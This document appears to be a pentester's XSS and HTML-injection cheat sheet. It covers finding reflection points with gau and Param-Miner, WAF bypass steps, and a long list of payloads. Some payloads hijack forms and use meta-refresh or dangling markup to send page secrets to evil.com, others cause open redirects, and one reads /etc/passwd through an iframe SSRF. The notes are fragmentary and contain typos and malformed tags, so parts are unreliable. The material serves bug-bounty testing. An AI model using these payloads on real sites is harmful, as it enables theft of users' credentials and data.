

CWE-79/CWE-80 XSS/HTMLI

XSS Payload Schema

extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5>
extra5

#XSS vs WAF
1) use <x & jump to event handler
2) use onxxx=yyy & find number of x it accepts
3) test them & change tag accordingly
4) put js

Filter Bypass Procedure

1) Find a reflection point

use gau/waymore to grab all urls and pass them to xss to test
echo "domain.com" | gau | xss | grep ">"

reflection
Do some Google or search engines
ext.php | ext.asp | ext.aspx | ext.jsp | ext.asp | ext.pl | ext.cfm | ext.py | ext.rb |
ext.html
dorking
Navigate to website see all its functions and all its parameters with burp/ZAP
Proxy extintinos "reflected" or "Reflecor" or any similar Extensions
Always Brute force Parameters using "Param-Miner" and "Arjun" and test their Reflection

2) Get HTML injection

Test For HTML Tags Allowed and try to get HTML Injection

88<h1>POC for h0tak88r</h1>88
%253Ch1%253EHTML%253C%252Fh1%253E

Open Redirect

You must click me

<meta http-equiv="refresh" content="0; url=http://h0tak88r.github.io">
</>

Setting a Cookie

<meta http-equiv="Set-Cookie" Content="SESSID=1">

New <portal HTML tag

<portal src='https://attacker-server?'

PasteJacking Attack

Payload here

Defacement

create layer mask

HTML Injection to SSRF

<iframe src=https://yourwebsite.com/redirect.php?link=file:///etc/passwd></iframe>

HTML Injection
Exploitation/Escalation

Stealing clear text secrets

<meta http-equiv="refresh" content="0; url=http://evil.com/log.php?text='>
<meta http-equiv="refresh" content="0;URL=ftp://evil.com?a='>
<style=@import//hackvector.co.uk?>

Abuse CSS

<table background=//your-collaborator-id.burpcollaborator.net?>

stealing forms

Set a form header: <form action='http://evil.com/log_steal'> this will overwrite the next form header and all the data from the form will be sent to the attacker

<button name=xss type=submit formaction='https://google.com'>I get consumed:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss>
<option
using noscript
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

3) Get your event handler injected

Agnostic Event Handlers

<brute style=font-size:500px onmouseover=alert(1)>0000

Port Swigger Cheat sheet

Bruteforce EvenHandlers

Didn't Work ?

XSS Without Event Handlers

<iframe srcdoc=%26lt;svg/o%26%23x6Elload%26equals;alert%26(par;1)%26gt;>

4) Inject JS code

XSS Exploitation

File upload to XSS

upload .svg file

upload normal file but the name is XSS payload

XSS to ATO

XSS to LFI

XSS to SSRF

<esi:include src="<http://yoursite.com/capture>">

XSS to CSRF

XSS via HTTP Headers

hostheader: bing.com">script>alert(document.domain)</script><"

XSS to Open Redirect

document.location.href="<http://evil.com>"

RFI to XSS

php?
=http://brutelogic.com.br/poc.svg